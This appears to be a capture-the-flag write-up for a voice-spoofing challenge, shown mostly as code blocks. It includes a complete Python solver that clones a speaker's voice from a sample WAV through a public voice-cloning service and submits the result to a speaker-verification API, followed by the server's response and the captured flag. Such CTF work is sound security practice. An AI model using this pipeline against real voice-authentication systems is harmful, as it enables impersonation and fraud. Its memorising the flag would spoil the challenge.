1
2
3
4
5
sample_001.wav
sample_002.wav
sample_003.wav
sample_004.wav
sample_005.wav

1
2
3
mono
16kHz
16-bit PCM

1
2
GET  /api/challenge
POST /api/verify

1
2
3
4
5
speaker_similarity
text_similarity
transcript
success
flag

1
predict(text, audio, language)

1
2
3
text      → 서버가 요구한 target_sentence
audio     → 제공된 sample WAV
language  → en

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import argparse
from pathlib import Path

import requests

try:
    from gradio_client import Client, handle_file
except ImportError as exc:
    raise SystemExit(
        "Missing dependency: gradio_client\n"
        "Install it with: python -m pip install gradio_client"
    ) from exc


CHALLENGE_URL = "http://3.37.31.209:8000"
DEFAULT_SPACE = "Kikirilkov/Voice_Cloning"


def get_challenge(base_url: str) -> dict:
    response = requests.get(f"{base_url}/api/challenge", timeout=30)
    response.raise_for_status()
    return response.json()


def clone_voice(space_name: str, sample_path: Path, text: str, language: str) -> Path:
    client = Client(space_name)
    output_path = client.predict(
        text,
        handle_file(str(sample_path)),
        language,
        api_name="/predict",
    )
    return Path(output_path)


def submit_audio(base_url: str, token: str, audio_path: Path) -> dict:
    with audio_path.open("rb") as audio_file:
        response = requests.post(
            f"{base_url}/api/verify",
            files={"audio": (audio_path.name, audio_file, "audio/wav")},
            data={"token": token},
            timeout=180,
        )
    response.raise_for_status()
    return response.json()


def main() -> None:
    parser = argparse.ArgumentParser(description="Solve the Voice Over Challenge")
    parser.add_argument(
        "--sample",
        default=str(Path(__file__).with_name("sample_005.wav")),
        help="Reference WAV file for the target speaker",
    )
    parser.add_argument(
        "--space",
        default=DEFAULT_SPACE,
        help="Public Hugging Face Space used for voice cloning",
    )
    parser.add_argument(
        "--language",
        default="en",
        help="Language parameter for the voice cloning API",
    )
    parser.add_argument(
        "--base-url",
        default=CHALLENGE_URL,
        help="Challenge base URL",
    )
    args = parser.parse_args()

    sample_path = Path(args.sample).resolve()
    if not sample_path.exists():
        raise SystemExit(f"Sample file not found: {sample_path}")

    print(f"[+] Reference sample : {sample_path}")
    print(f"[+] Voice clone space: {args.space}")

    challenge = get_challenge(args.base_url)
    print(f"[+] Token           : {challenge['token']}")
    print(f"[+] Target sentence : {challenge['target_sentence']}")

    cloned_audio = clone_voice(
        args.space,
        sample_path,
        challenge["target_sentence"],
        args.language,
    )
    print(f"[+] Cloned audio    : {cloned_audio}")

    result = submit_audio(args.base_url, challenge["token"], cloned_audio)
    print(f"[+] Speaker score   : {result['speaker_similarity']}")
    print(f"[+] Text score      : {result['text_similarity']}")
    print(f"[+] Transcript      : {result['transcript']}")

    if result.get("success") and result.get("flag"):
        print(f"[+] FLAG            : {result['flag']}")
    else:
        print("[-] Solve failed")
        print(result)


if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
{
  "text_similarity": 1.0,
  "text_threshold": 0.8,
  "speaker_similarity": 0.8727,
  "success": true,
  "flag": "hacktheon2026{b7d30e21e4106a6ca4d451a218f15a97}"
}

1
hacktheon2026{b7d30e21e4106a6ca4d451a218f15a97}